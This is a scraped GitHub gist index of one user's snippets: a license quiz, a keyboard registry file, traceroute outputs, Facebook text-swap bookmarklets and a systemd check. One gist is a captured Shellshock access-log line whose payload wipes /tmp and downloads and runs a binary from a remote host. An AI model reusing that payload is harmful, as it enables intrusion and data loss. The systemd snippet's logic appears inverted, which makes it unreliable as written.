Skip to content

Instantly share code, notes, and snippets.

View metalefty's full-sized avatar
♥️
Looking for sponsors

metalefty

♥️
Looking for sponsors
View GitHub Profile
@metalefty
metalefty / gist:9829dd1c951424717b8f
Last active August 29, 2015 14:17
ライセンス当てゲーム
※改行位置は変更しています。
=========== A LICENSE ===========
Copyright (c) <YEAR>, <OWNER>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
@metalefty
metalefty / bluetooth-keyboard-us.reg
Last active August 29, 2015 14:23
ThinkPad Compact Bluetooth Keyboard US
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\HID\{00001124-0000-1000-8000-00805f9b34fb}_VID&000217ef_PID&6048&Col01\9&1d69e76&0&0000\Device Parameters]
"Migrated"=dword:00000001
"KeyboardTypeOverride"=dword:00000004
"KeyboardSubtypeOverride"=dword:00000000
% traceroute -Ia ***.vmeta.jp
traceroute to ***.vmeta.jp (210.170.***.***), 64 hops max, 72 byte packets
1 [AS62904] setup.netvolante.jp (192.168.11.1) 3.544 ms 1.127 ms 0.883 ms
2 [AS9614] 31ee30002.oct-net.ne.jp (49.238.30.2) 2.727 ms 2.507 ms 3.229 ms
3 [AS9614] 202.220.163.169 (202.220.163.169) 5.509 ms 6.077 ms 3.885 ms
4 [AS9614] starmine.oct-net.ne.jp (202.220.160.1) 4.067 ms 4.654 ms 10.699 ms
5 [AS9614] 218.228.66.3 (218.228.66.3) 4.406 ms 4.444 ms 5.337 ms
6 [AS2516] 124.211.13.1 (124.211.13.1) 7.277 ms 6.463 ms 7.565 ms
7 [AS2516] sjkbbac05.bb.kddi.ne.jp (118.152.252.6) 25.656 ms 26.687 ms 27.582 ms
8 [AS2516] otejbb205.bb.kddi.ne.jp (106.162.175.1) 24.869 ms 22.958 ms 23.073 ms
@metalefty
metalefty / gist:cdb614bf7db53aecf4fc
Created September 16, 2015 01:48
いいね!をみゅるみゅるლ(╹◡╹ლ)にする魔法
1. Facebookを開きます
2. アドレスバーに↓をコピペしてEnter
javascript:(function(){ var str=document.body; str.innerHTML=str.innerHTML.replace(/いいね/g,'みゅるみゅるლ(╹◡╹ლ)')})()
@metalefty
metalefty / toolatelike
Created December 14, 2015 02:35
「いいね」を「ておいいね」にするブックマークレット
1. Facebookを開きます
2. アドレスバーに↓をコピペしてEnter
javascript:(function(){ var str=document.body; str.innerHTML=str.innerHTML.replace(/いいね/g,'ておいいね')})()
4 [AS2516] 27.93.244.90 (27.93.244.90) 9.055 ms 8.615 ms 8.353 ms
5 [AS0] 10.199.199.85 (10.199.199.85) 9.730 ms 10.333 ms 9.973 ms
6 [AS2516] fkobbar002-2.bb.kddi.ne.jp (27.93.250.37) 13.145 ms 11.468 ms 10.412 ms
7 [AS2516] sjkbbac08.bb.kddi.ne.jp (27.90.191.122) 26.009 ms 27.104 ms 25.900 ms
8 [AS2516] otejbb206.int-gw.kddi.ne.jp (27.90.191.5) 26.081 ms 30.587 ms 28.806 ms
9 [AS2516] ix-ote206.int-gw.kddi.ne.jp (106.187.6.66) 28.464 ms 27.406 ms 26.342 ms
10 [AS7527] as6939.ix.jpix.ad.jp (210.171.224.40) 149.229 ms 156.604 ms 147.078 ms
@metalefty
metalefty / gist:e3a23ccb89707a7a1479
Created February 21, 2016 12:30
shellshock.log
61.161.130.241 - - [21/Feb/2016:21:28:30 +0900] "GET / HTTP/1.1" 301 229 "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.161.130.242:911/java -O /tmp/China.Z-esmv >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-esmv >> /tmp/Run.sh;echo /tmp/China.Z-esmv >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\"" "() { :; }; /bin/bash -c \"rm -rf /tmp/*;echo wget http://61.161.130.242:911/java -O /tmp/China.Z-esmv >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-esmv >> /tmp/Run.sh;echo /tmp/China.Z-esmv >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\""
@metalefty
metalefty / gist:eae70da7aee3dececab5
Created March 1, 2016 06:16
traceroute -Ia aspmx.l.google.com.
% traceroute -Ia aspmx.l.google.com.
traceroute to aspmx.l.google.com (173.194.72.27), 64 hops max, 48 byte packets
2 [AS2519] fko1nn1fm2.vectant.ne.jp (163.139.100.113) 9.040 ms 9.041 ms 9.868 ms
3 [AS2519] 163.139.154.205 (163.139.154.205) 8.919 ms 8.467 ms 8.411 ms
4 [AS2519] 163.139.154.153 (163.139.154.153) 24.838 ms 19.259 ms 19.175 ms
5 [AS2519] 163.139.128.174 (163.139.128.174) 22.479 ms 20.685 ms 19.754 ms
6 [AS15169] 72.14.216.185 (72.14.216.185) 20.498 ms 20.560 ms 55.781 ms
7 [AS15169] 209.85.143.221 (209.85.143.221) 19.332 ms 19.721 ms 19.320 ms
8 [AS15169] 216.239.48.92 (216.239.48.92) 27.930 ms 27.253 ms 26.871 ms
9 [AS15169] 216.239.58.125 (216.239.58.125) 29.718 ms 28.638 ms 28.581 ms
@metalefty
metalefty / gist:38e9e6d83d62596206c7
Last active March 1, 2016 07:15
Google Public DNS -> Osaka?
(traceroute -Ia は省略)
From: [AS2497] fukuoka03-z01.flets.2iij.net (210.148.39.54)
$ ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8): 56 data bytes
64 bytes from 8.8.8.8: icmp_seq=0 ttl=55 time=18.221 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=18.270 ms
$ ping speedtest.dmmlabs.jp # tokyo
PING speedtest.dmmlabs.jp (202.6.247.208): 56 data bytes
@metalefty
metalefty / systemd-detection.sh
Last active August 6, 2016 16:05
稼働中のシステムがsystemdかどうかを判定する
# check if the system is using systemd or not
[ "$(pgrep -o systemd)" = "1" ] && \
USING_SYSTEMD=false || \
USING_SYSTEMD=true
if $USING_SYSTEMD
then
# systemd だったときに実行するコマンド
else
# systemd じゃなかったときに実行するコマンド